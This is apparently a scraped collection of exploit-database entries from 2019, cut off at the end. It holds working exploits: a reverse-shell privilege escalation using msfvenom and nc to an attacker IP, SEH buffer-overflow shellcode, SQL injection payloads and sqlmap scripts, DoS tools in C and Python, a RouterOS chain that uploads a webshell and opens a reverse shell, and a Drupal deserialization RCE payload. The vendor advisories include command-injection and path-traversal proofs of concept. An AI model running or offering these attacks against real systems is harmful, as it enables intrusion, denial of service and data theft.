[15:51:33] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16' from file '/Users/badboy_nt/Tools/sqlmap/txt/user-agents.txt'
[15:51:34] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: site (GET)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: site=1275969 AND (SELECT * FROM (SELECT(SLEEP(5)))owvW)-- Lzob

    Type: UNION query
    Title: Generic UNION query (random number) - 12 columns
    Payload: site=1275969 UNION ALL SELECT CONCAT(0x71626a7071,0x5754617757446f465a4f41676352594968504a457651676852694d506c69796b6b567643736e6967,0x7171716a71),4936,4936,4936,4936,4936,4936,4936,4936,4936,4936,4936-- tnMf
---
[15:51:35] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[15:51:35] [INFO] testing MySQL
[15:51:36] [INFO] confirming MySQL
[15:51:37] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.11, PHP 5.4.32
back-end DBMS: MySQL >= 5.0.0
[15:51:37] [INFO] fetching database names
[15:51:38] [INFO] used SQL query returns 4 entries
[15:51:38] [INFO] starting 3 threads
[15:51:39] [INFO] retrieved: 'information_schema'
[15:51:40] [INFO] retrieved: 'blis_127'
[15:51:41] [INFO] retrieved: 'blis_revamp'
[15:51:43] [INFO] retrieved: 'mysql'
available databases [4]:                                                                                                                                              
[*] blis_127
[*] blis_revamp
[*] information_schema
[*] mysql


3. Solution:

Application inputs must be validated correctly throughout the development of the project.
HireHackking 
# Exploit Title: Memu Play 6.0.7 - Privilege Escalation (PoC)
# Date: 20/02/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://www.memuplay.com/
# Software Link: https://www.memuplay.com/download-en.php?file_name=Memu-Setup&from=official_release
# Version: 6.0.7
# Tested on: Windows 10 / Windows 7


# Description:
#  Memu Play 6.0.7 suffers from Privilege Escalation due to insecure file permissions

# Prerequisites
# Local, Low privilege access with restart capabilities

# Details
# By default the Authenticated Users group has the modify permission to ESM folders/files as shown below.  
# A low privilege account is able to rename the MemuService.exe file located in this same path and replace 
# with a malicious file that would connect back to an attacking computer giving system level privileges 
# (nt authority\system) due to the service running as Local System.  
# While a low privilege user is unable to restart the service through the application, a restart of the 
# computer triggers the execution of the malicious file.


C:\>icacls "C:\Program Files (x86)\Microvirt\MEmu\MemuService.exe"
C:\Program Files (x86)\Microvirt\MEmu\MemuService.exe Everyone:(I)(F)
                                                      BUILTIN\Administrators:(I)(F)
                                                      BUILTIN\Users:(I)(F)
                                                      NT AUTHORITY\SYSTEM:(I)(F)


Successfully processed 1 files; Failed processing 0 files


C:\>sc qc MEmuSVC
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: MEmuSVC
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Microvirt\MEmu\MemuService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0


# Proof of Concept

1. Generate malicious .exe on attacking machine
    msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.130 LPORT=443 -f exe > /var/www/html/MemuService.exe

2. Setup listener and ensure apache is running on attacking machine
    nc -lvp 443
    service apache2 start

3. Download malicious .exe on victim machine
    Open browser to http://192.168.1.130/MemuService.exe and download

4. Overwrite file and copy malicious .exe.
    Renename C:\Program Files (x86)\Microvirt\MEmu\MemuService.exe > MemuService.bak
    Copy/Move downloaded 'MemuService.exe' file to C:\Program Files (x86)\Microvirt\MEmu\

5. Restart victim machine

6. Reverse Shell on attacking machine opens
    C:\Windows\system32>whoami
    whoami
    nt authority\system
HireHackking 
# Exploit Title: RealTerm: Serial Terminal 2.0.0.70 - 'Echo Port' Buffer Overflow - (SEH) 
# Date: 21.02.2019
# Exploit Author: Matteo Malvica
# Vendor Homepage: https://realterm.sourceforge.io/
# Software Link: https://sourceforge.net/projects/realterm/files/ 
# Version: 2.0.0.70
# Category: Local
# Contact: https://twitter.com/matteomalvica
# Version: CloudMe Sync 1.11.2
# Tested on: Windows 7 SP1 x64
# Originail PoC https://www.exploit-db.com/exploits/46391

# 1.- Run the python script  it will create a new file "carbonara.txt"
# 2.- Copy the content of the new file 'carbonara.txt' to clipboard
# 3.- Open realterm.exe 
# 4.- Go to 'Echo Port' tab
# 5.- Paste clipboard in 'Port' field
# 6.- Click on button -> Change
# 7.- Check 'Echo On' or 
# 8.- Box!


import socket
import struct

'''
badchars: 0x20,0x0a
arwin.exe user32.dll MessageBoxA
arwin - win32 address resolution program - by steve hanna - v.01
MessageBoxA is located at 0x747cfdae in user32.dll
'''
shellcode = (
"\x33\xc0"                          # XOR EAX,EAX
"\x50"                              # PUSH EAX      => padding for lpCaption
"\x68\x7a\x6f\x21\x21"              # PUSH "zo!!"
"\x68\x61\x76\x61\x6e"              # PUSH "avan"
"\x8B\xCC"                          # MOV ECX,ESP   => PTR to lpCaption
"\x50"                              # PUSH EAX      => padding for lpText
"\x68\x6e\x7a\x6f\x21"              # PUSH "nzo!"
"\x68\x61\x76\x61\x21"              # PUSH "ava!"
"\x8B\xD4"                          # MOV EDX,ESP   => PTR to lpText
"\x50"                              # PUSH EAX - uType=0x0
"\x51"                              # PUSH ECX - lpCaption
"\x52"                              # PUSH EDX - lpText
"\x50"                              # PUSH EAX - hWnd=0x0
"\xBE\xae\xfd\x7c\x74"              # MOV ESI,USER32.MessageBoxA <<< hardcoded address
"\xFF\xD6")                         # CALL ESI

pad1="\x90"*(142-len(shellcode))
pad2 = "\x42" * 118
nseh = "\xEB\x80\x90\x90"
jmp_back = "\xEB\x80\x90\x90"
short_jmp = "\xEB\x12\x90\x90"
seh =  struct.pack('<L',0x00406e27)  # 00406e27# POP POP RET
nops = "\x90\x90\x90\x90"
payload = pad1  + shellcode + nops + jmp_back + pad2 + nseh + seh 


try:
        f=open("carbonara.txt","w")
        print "[+] Creating %s bytes pasta payload.." %len(payload)
        f.write(payload)
        f.close()
        print "[+] Carbonara created!"

except:
        print "Carbonara cannot be created"
HireHackking 
# Exploit Title: PHP EI-Tube Script - Sql Injection
# Date: 2019-02-21
# Exploit Author: Meisam Monsef - meisamrce@gmail.com
# Vendor Homepage: https://codecanyon.net/item/eitube-youtube-api-v3-site-builder/22722912?s_rank=17
# Version: 3
# Tested on: ubuntu
# special thanks : Alireza Noorkazemi - A-H - Akhzari -
# Net Hunter (Pouya) - M.Azizi - EBI -Navid - Shahab RA - SAM.SH
# M.I - Nikavar - Hosseini
# very special thanks : esecurity.ir

Exploit:
https://target/search?q=-999%22+[sql+command]+%23
https://target/search?q=-999%22+union+select+1,user(),3,4,5,version()+%23
HireHackking 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <netdb.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>

// ************************************************************************
// *                Author: Marcelo Vázquez (aka s4vitar)                 *
// *             AirDrop 2.0 Remote Denial of Service (DoS)               *
// ************************************************************************

// Exploit Title: AirDrop 2.0 Remote Denial of Service (DoS)
// Date: 2019-02-21
// Exploit Author: Marcelo Vázquez (aka s4vitar)
// Vendor Homepage: https://support.apple.com/en-us/HT204144
// Software Link: https://apkpure.com/airdrop-wifi-file-transfer/com.airdrop.airdroid.shareit.xender.filetransfer
// Version: <= AirDrop 2.0
// Tested on: Android

int make_socket(char *host, char *port) {
    struct addrinfo hints, *servinfo, *p;
    int sock, r;

    memset(&hints, 0, sizeof(hints));
    hints.ai_family = AF_UNSPEC;
    hints.ai_socktype = SOCK_STREAM;
    if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) {
        fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r));
        exit(0);
    }
    for(p = servinfo; p != NULL; p = p->ai_next) {
        if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
            continue;
        }
        if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {
            close(sock);
            continue;
        }
        break;
    }
    if(p == NULL) {
        if(servinfo)
            freeaddrinfo(servinfo);
        fprintf(stderr, "No connection could be made\n");
        exit(0);
    }
    if(servinfo)
        freeaddrinfo(servinfo);
    fprintf(stderr, "[Connected -> %s:%s]\n", host, port);
    return sock;
}

void broke(int s) {
    // Nothing to do
}

#define CONNECTIONS 8
#define THREADS 48

void attack(char *host, char *port, int id) {
    int sockets[CONNECTIONS];
    int x, g=1, r;
    for(x=0; x!= CONNECTIONS; x++)
        sockets[x]=0;
    signal(SIGPIPE, &broke);
    while(1) {
        for(x=0; x != CONNECTIONS; x++) {
            if(sockets[x] == 0)
                sockets[x] = make_socket(host, port);
            r=write(sockets[x], "\0", 1);
            if(r == -1) {
                close(sockets[x]);
                sockets[x] = make_socket(host, port);
            }
        }
        usleep(300000);
    }
}

int main(int argc, char **argv) {

    int x;

    if (argc < 3) {
        printf("Usage: ./AirDrop_DoS <ip-address> <port>\n");
        exit(-1);
}

    for(x=0; x != THREADS; x++) {
        if(fork())
            attack(argv[1], argv[2], x);
        usleep(200000);
    }
    getc(stdin);
    return 0;
}
HireHackking 
# CVE-2019-3924

A remote, unauthenticated attacker can proxy traffic through RouterOS via probes sent to the agent binary. This PoC demonstrates how to exploit a LAN host from the WAN. A video demonstrating the attack can be found here:

* https://www.youtube.com/watch?v=CxyOtsNVgFg

A Tenable Research Advisory for the vulnerability can be found here:

* https://www.tenable.com/security/research/tra-2019-07

## Compilation
This code was tested on Ubuntu 18.04. There is a dependency on boost, gtest, and cmake. Simply install them like so:

```sh
sudo apt install libboost-dev cmake
```

To compile simply do the following:

```sh
cd routeros/poc/cve_2019_3924/
mkdir build
cd build
cmake ..
```

## Sample Usage

```sh
albinolobster@ubuntu:~/routeros/poc/cve_2019_3924/build$ ./nvr_rev_shell --proxy_ip 192.168.1.70 --proxy_port 8291 --target_ip 10.0.0.252 --target_port 80 --listening_ip 192.168.1.7 --listening_port 1270
[!] Running in exploitation mode
[+] Attempting to connect to a MikroTik router at 192.168.1.70:8291
[+] Connected!
[+] Looking for a NUUO NVR at 10.0.0.252:80
[+] Found a NUUO NVR!
[+] Uploading a webshell
[+] Executing a reverse shell to 192.168.1.7:1270
[+] Done!
albinolobster@ubuntu:~/routeros/poc/cve_2019_3924/build$
```


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46444.zip
HireHackking 
#!/usr/bin/python

# Exploit Title: VirtualVCR-Max .0a Overflow PoC
# Google Dork: N/A
# Date: 21/02/2019
# Exploit Author: Wade Guest
# Vendor Homepage: http://virtualvcr.sourceforge.net/
# Software Link: https://sourceforge.net/projects/virtualvcr/
# Version: Max Version .0a
# Tested on: Win XP SP3
# CVE : N/A]


# Launch VirtualVCR
# Run the python script to generate the 'exploit.vcr' file
# Right-click the icon in the task bar
# Options -> Load Profile
# Select 'exploit.vcr'
# Right-click the icon and select "Settings"

file_content = ""
file_content += """
[VirtualVCR]
AudioInputLevel=200
SaveCapStats=0
AlwaysOnTop=0
HideBars=0
AudioInputIndex=-1
ResampleAudioTo=10000000
AudioResampleType=0
StreamOffsetType=0
VideoBrightness=-1
VideoHue=-1
VideoContrast=-1
VideoSaturation=-1
VideoColour=1
VideoGamma=-1
VideoSharpness=-1
TunerChannel=2
TunerCountry=61
TunerInputType=61
TunerMode=0
AudioDelay=0
ShowAudioScope=0
ShowHistogram=0
LogAVdiff=0
UseSmartTee=0
CapStatRelative=0
WantCaptureStats=0
ShowOnStop=0
TurnOffScrnSaver=1
AnimateTrayIcon=0
AVIcompatINDEX=0
UseAudioResample=0
SyncUsingStreamOffset=0
CaptureFile=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
XMLTVFile=
VideoColourFormat=RGB24
WantPreview=0
FrameRate=400000
UseFrameRate=0
CaptureAudio=1
MasterStream=-1
UseTimeLimit=0
TimeLimit=0
CustomWidth=320
CustomHeight=240
VideoCompCodec=end
AudioCompCodec=end
CompressVideo=0
CompressAudio=0
AudioCapabilityIndex=-1
FreeSpaceLimit=0
UseFreeSpace=0
VideoInputIndex=-1
UsePreFilters=0
AppendStampToName=0
Audio_nChannel=2
Audio_nSamplesPerSec=44100
Audio_nAvgBytesPerSec=176400
Audio_nBlockAlign=4
Audio_wBitsPerSample=16
Audio_wFormatTag=1
VideoDevice=0
AudioDevice=0
QuitWhenDone=0
QuitStyle=0
[Filters]
FILTER0=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
[ChannelINFO]
0-ID=-1
0-MAP=-1
0-XMLID=none
0-NAME=none
"""


file = open("exploit.vcr","w+")
file.write(file_content)
HireHackking 
#!/usr/bin/python
#coding: utf-8

# ************************************************************************
# *                Author: Marcelo Vázquez (aka s4vitar)                 *
# *         ScreenStream 3.0.15 Remote Denial of Service (DoS)           *
# ************************************************************************

# Exploit Title: ScreenStream 3.0.15 Remote Denial of Service (DoS)
# Date: 2019-02-21
# Exploit Author: Marcelo Vázquez (aka s4vitar)
# Vendor Homepage: http://mobzapp.com/mirroring/index.html
# Software Link: https://play.google.com/store/apps/details?id=info.dvkr.screenstream&hl=en
# Version: <= ScreenStream 3.0.15
# Tested on: Android

import sys, requests, threading, signal

def handler(signum, frame):
        print '\nFinishing program...\n'
        sys.exit(0)

if len(sys.argv) != 3:
	print "\nUsage: python " + sys.argv[0] + " <ip_address> <port>\n"
	print "Example: python " + sys.argv[0] + " 192.168.1.125 8080\n"
	sys.exit(0)

def startAttack(url):
	url_destination = url + '/start-stop'
	headers = {'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'en-US,en;q=0.5', 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0', 'Accept': '*/*', 'Referer': url, 'Connection': 'close'}

	r = requests.post(url_destination, headers=headers)

if __name__ == '__main__':

	signal.signal(signal.SIGINT, handler)
	url = 'http://' + sys.argv[1] + ':' + sys.argv[2]

	threads = []

	for i in xrange(0, 10000):
		t = threading.Thread(target=startAttack, args=(url,))
		threads.append(t)

	for x in threads:
		x.start()

	for x in threads:
		x.join()
HireHackking 
# Exploit Title: Quest NetVault Backup Server < 11.4.5 Process Manager Service SQL Injection Remote Code Execution Vulnerability (ZDI-17-982)
# Date: 2-21-2019
# Exploit Author: credit goes to rgod for finding the bug
# Version: Quest NetVault Backup Server < 11.4.5
# CVE : CVE-2017-17417

# There is a decent description of the bug here: https://www.zerodayinitiative.com/advisories/ZDI-17-982/ 
# but no PoC, hence this submission. Also the description states that authentication is not required.
# I did not find the auth bypass, but the target was using default credz
# of admin and a blank password.
#
# "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations 
# of Quest NetVault Backup. Authentication is not required to exploit this vulnerability.
# 
# The specific flaw exists within the handling of NVBUPhaseStatus Acknowledge method requests. 
# The issue results from the lack of proper validation of a
# user-supplied string before using it to construct SQL queries. An attacker can leverage this 
# vulnerability to execute code in the context of the underlying database."



# Fill out the variables then copy paste everything below this line into a kali terminal

#target ip address
target=x.x.x.x

#target port
port=8443

#username
username=admin

#password is blank by default!
password=
cookie=$(curl -i -s -k  -X $'POST' -H $'Content-Length: 109' -H $'Content-Type: application/json-rpc; charset=UTF-8' --data-binary "{\"jsonrpc\":\"2.0\",\"method\":\"Logon\",\"params\":{\"OutputFormat\":\"pretty\",\"UserName\":\"$username\",\"Password\":\"$password\"},\"id\":1}" "https://$target:$port/query" | grep SessionCookie | cut -d '"' -f4)
cat > dellSqlmap <<EOF
POST /query HTTP/1.1
Host: $target:$port
Connection: close
Content-Length: 129
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
SessionCookie: $cookie
Content-Type: application/json-rpc; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{"jsonrpc":"2.0","method":"GET","params":{"classname":"NVBUPhaseStatus","updates":"none","where":"1=1*"},"id":1}
EOF
sqlmap -r dellSqlmap --force-ssl --level=5 --dbms=postgresql --prefix='' --suffix='' --test-filter='AND boolean-based blind - WHERE or HAVING clause' --batch
HireHackking 
Analyzing the patch
By diffing Drupal 8.6.9 and 8.6.10, we can see that in the REST module, FieldItemNormalizer now uses a new trait, SerializedColumnNormalizerTrait. This trait provides the checkForSerializedStrings() method, which in short raises an exception if a string is provided for a value that is stored as a serialized string. This indicates the exploitation vector fairly clearly: through a REST request, the attacker needs to send a serialized property. This property will later be unserialize()d, thing that can easily be exploited using tools such as PHPGGC. Another modified file gives indications as to which property can be used: LinkItem now uses unserialize($values['options'], ['allowed_classes' => FALSE]); instead of the standard unserialize($values['options']);.

As for all FieldItemBase subclasses, LinkItem references a property type. Shortcut uses this property type, for a property named link.

Triggering the unserialize()
Having all these elements in mind, triggering an unserialize is fairly easy:

GET /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1
Host: 192.168.1.25
Content-Type: application/hal+json
Content-Length: 642

{
  "link": [
    {
      "value": "link",
      "options": "<SERIALIZED_CONTENT>"
    }
  ],
  "_links": {
    "type": {
      "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default"
    }
  }
}
Since Drupal 8 uses Guzzle, we can generate a payload using PHPGGC:

$ ./phpggc guzzle/rce1 system id --json
"O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
We can now send the payload via GET:

GET /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1
Host: 192.168.1.25
Content-Type: application/hal+json
Content-Length: 642

{
  "link": [
    {
      "value": "link",
      "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
    }
  ],
  "_links": {
    "type": {
      "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default"
    }
  }
}
To which Drupal responds:

HTTP/1.1 200 OK
Link: <...>
X-Generator: Drupal 8 (https://www.drupal.org)
X-Drupal-Cache: MISS
Connection: close
Content-Type: application/hal+json
Content-Length: 9012

{...}uid=33(www-data) gid=33(www-data) groups=33(www-data)
Note: Drupal caches responses: if you're in a testing environment, clear the cache. If not, try another node ID.
HireHackking 
Introduction
============

Multiple vulnerabilities were identified within the Teracue ENC-400,
including pre-authenticated remote code authentication. While the vendor
has released updated firmware after these issues were identified, they are
not all resolved with the latest version of the firmware.

Product
=======

The Teracue ENC-400 is accessible over an HTTP interface, which allows
device configuration (including setting passwords or video stream
destinations and servers). The vendor describes the device as follows:
This HD/SD H.264 fanless video encoder is able to deliver multiple streams
in multiple bitrates and protocols to multiple destinations. [1]

These issues affect firmware versions v2.56 or below.
Note that the latest version of firmware, v2.57, does not adequately
resolve all identified issues. Specific notes have been added to issues in
the Technical Details section.


Technical Details
=================

1) Command injection in login form
----------------------------------
CVE-2018-20218

The login form passes user input directly to a shell command without any
kind of escaping or validation.
In the file /usr/share/www/check.lp:
#!/usr/bin/env cgilua.cgi
<%
local pass = cgilua.POST.password
local com1 = os.execute("echo \'"..cgilua.POST.password.."\' | (su -c
/bin/true)")

An attacker is able to perform command injection using the "password"
parameter displayed on the login form. An example "password" to bypass this
authentication would be:
f' > /dev/null #

It is also possible for an attacker to simply execute code directly on the
server.

* Resolution Status *
While this instance of remote code execution has been resolved, the
resolution does not protect the entire codebase.
In /usr/share/www/web/system_password.lp:
local oldpass = cgilua.POST.oldpass
local newpass = cgilua.POST.newpass
local com1=os.execute("echo '"..oldpass.."' | (su -c 'echo '"..oldpass.."'
| (su root -c '/bin/true') > /dev/null 2>&1 ; echo $?')")

This allows an authenticated user to execute commands without knowing the
existing password. This is particularly important given the insufficient
resolution of CVE-2018-20219 (issue 2).

2) Hard-coded authentication token
----------------------------------
CVE-2018-20219

After successful authentication, the device sends an authentication cookie
to the end user such that they can access the devices web administration
panel. This token is hardcoded to a string in the source code.
In the file /usr/share/www/check.lp:

cookies.sethtml("AuthByPasswdENC400","Teracue:dGFpOfrtmR1bW1thrf5dGV4nhyxxdA==",{path='/'})

(Note: Line may be slightly different in different firmware versions,
though the token is still the same).

By simply setting this cookie in a browser, an attacker is able to maintain
access to every ENC-400 device without knowing the password. Even if a user
changes the password on the device, this token is static and unchanged.
This results in an authentication bypass.

* Resolution Status *
While this cookie is now dynamically generated, the latest code generates
cookie values from the current time in seconds.
In the file /usr/share/www/check.lp:
math.randomseed(os.time())
local cookie_value=RandomVariable(30)

An attacker is able to trivially bypass authentication simply by knowing
the approximate time of the last successful authentication.

2) Missing authentication on sensitive endpoints
---------------------------------------------------------------------------------
CVE-2018-20220

While the web interface requires authentication before it can be interacted
with, a large portion of the HTTP endpoints are missing authentication.
The "/configuration.xml" file, for example, includes all information
required to access a video stream, such as the IP and port information, and
any encryption information if specified.

* Resolution Status *
No verification was performed as to whether this issue was appropriately
resolved, or whether other files may be left unprotected.


Disclosure Timeline
===================

Attempts to contact vendor begin: August 30, 2018
Vendor contacted: September 7, 2018
Vendor acknowledges issues: October 23, 2018
Initial fixes released for testing: December 4, 2018
Response indicating insufficient fixes: December 4, 2018
Public firmware release: February 13, 2019

References
==========

[1] https://www.teracue.com/en/iptv-products/encoding
HireHackking 
SecureAuth - SecureAuth Labs Advisory
http://www.secureauth.com/

Micro Focus Filr Multiple Vulnerabilities

1. *Advisory Information*

Title: Micro Focus Filr Multiple Vulnerabilities
Advisory ID: SAUTH-2019-0001
Advisory URL: https://www.secureauth.com/labs/advisories/micro-focus-filr-multiple-vulnerabilities
Date published: 2019-02-20
Date of last update: 2019-02-20
Vendors contacted: Micro Focus
Release mode: Coordinated release

2. *Vulnerability Information*

Class: Path traversal [CWE-22], Permissions, Privileges, and Access
Control [CWE-264]
Impact: Security bypass, Information leak
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2019-3474, CVE-2019-3475

3. *Vulnerability Description*

Novell (now part of Micro Focus [1]) website states that:
Micro Focus Filr [2] provides file access and sharing, and lets users
access their home directories and network folders from desktops, mobile
devices, and the Web. Users can also synchronize their files to their PC
or Mac. Changes that they make to downloaded copies are kept in sync
with the originals on their network file servers. And finally, users can
also share files internally and externally, and those with the share can
collaborate with each other by commenting on the files.

A vulnerability was found in the Micro Focus Filr Appliance, which would
allow an attacker with regular user access to read arbitrary files of
the filesystem. Furthermore, a vulnerability in the famtd daemon could
allow a local attacker to elevate privileges.

4. *Vulnerable Packages*

. Micro Focus Filr 3.4.0.217.
. Older versions are probably affected too, but they were not checked.

5. *Vendor Information, Solutions and Workarounds*

Micro Focus released Filr 3.0 Security Update 6 that addresses the
reported issues: https://download.novell.com/Download?buildid=nZUCSDkvpxk~

Also, Micro Focus published the following Security Notes:

. https://support.microfocus.com/kb/doc.php?id=7023726
. https://support.microfocus.com/kb/doc.php?id=7023727

6. *Credits*

These vulnerabilities were discovered and researched by Matias Choren
from SecureAuth. The publication of this advisory was coordinated by
Leandro Cuozzo from SecureAuth Advisories Team.

7. *Technical Description / Proof of Concept Code*

7.1. *Path Traversal*

[CVE-2019-3474]
The 'filename' parameter of the '/ssf/f/viewFile' endpoint is vulnerable
to Path Traversal attacks. An authenticated, low-privileged user may be
able to abuse this functionality in order to read arbitrary files on the
filesystem.

Proof of Concept:


1. As an authenticated user, upload a sample PDF file in the 'My Files'
section.
2. After the upload finishes, click on the small arrow next to the file
-> 'View Details'.
3. The browser will issue a few requests to the web application, one of
them being the one used for displaying the thumbnail of the file we've
just uploaded. This request has the following structure:

/-----
GET
/ssf/s/viewFile?binderId=44&entryId=1&entityType=folderEntry&fileId=8a82ada06851d92d016852b727f26b1b&viewType=image&filename=t154758084657912375035546628304890001.jpg
-----/

4. If the 'viewType' parameter is set to 'image', as in this case, we
can escape the current directory and include arbitrary files, as long as
they are readable by the 'wwwrun' user (the user Apache Tomcat is
currently running as). For example, we could read the '/etc/passwd' file:

/-----
GET
/ssf/s/viewFile?binderId=44&entryId=1&entityType=folderEntry&fileId=8a82ada06851d92d016852b727f26b1b&viewType=image&filename=../../../../../../../../../../../etc/passwd
HTTP/1.1
Host: 10.2.45.32:8443
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=803689DA9BA5DA9CBA2B7DD246A50531
Connection: close
-----/

/-----
HTTP/1.1 200 OK
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-UA-Compatible: IE=Edge
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Strict-Transport-Security: max-age=0
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Type: image/jpeg
Date: Mon, 21 Jan 2019 14:53:37 GMT
Connection: close
Server: Filr
Content-Length: 1506

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/bash

<...>
-----/

5. Also, an interesting file to look for would be
'/vastorage/conf/vaconfig.zip'. This zip file contains a bunch of
different configuration files, including 'mysql-liquibase.properties'
which, among other things, defines connection parameters such as the
username and password (base64 encoded) for the MySQL database:

/-----
referencePassword==?UTF-8?B?Zmlscg==?=
referenceUrl=jdbc:mysql://localhost:3306/filr?useUnicode=true&characterEncoding=UTF-8
url=jdbc:mysql://localhost:3306/filr?useUnicode=true&characterEncoding=UTF-8
password==?UTF-8?B?Zmlscg==?=
driver=com.mysql.jdbc.Driver
referenceUsername=filr
referenceDriver=com.mysql.jdbc.Driver
username=filr
-----/

7.2. *Local Privilege Escalation*

[CVE-2019-3475]
As per the description: 'novell-famtd provide CIFS & NCP file access
support for Filr server to request and respond to HTTP request coming
from Filr Client/ Browser'. This daemon runs during startup and can be
abused to elevate privileges on a Filr appliance.

Proof of Concept:

1. The 'famtd' binary located at '/opt/novell/filr/bin/' and its
containing folder are owned by the 'wwwrun' user, as can be seen next:

/-----
wwwrun@filr:/opt/novell/filr/bin> ls -lha
total 196K
drwxr-x--- 2 wwwrun www 4,0K ene 21 17:22 .
drwxr-x--- 8 wwwrun www 4,0K ene 14 18:41 ..
-rwxr-x--- 1 wwwrun www  23K feb  8  2017 famtconfig
-rwxr-x--- 1 wwwrun www 117K ene 14 18:19 famtd
-rwxr-x--- 1 wwwrun www  905 feb  8  2017 famt_log_config.sh
-rwxr-x--- 1 wwwrun www  31K jun 21  2018 kablink-teaming-tools.jar
wwwrun@filr:/opt/novell/filr/bin>
-----/

2. This binary is referenced and later executed in the
'/etc/init.d/novell-famtd' init script, meaning that it will run with
root privileges on startup:

/-----
#
# /etc/init.d/novell-famtd
#

<...>

# Check for missing binaries (stale symlinks should not happen)
# Note: Special treatment of stop for LSB conformance
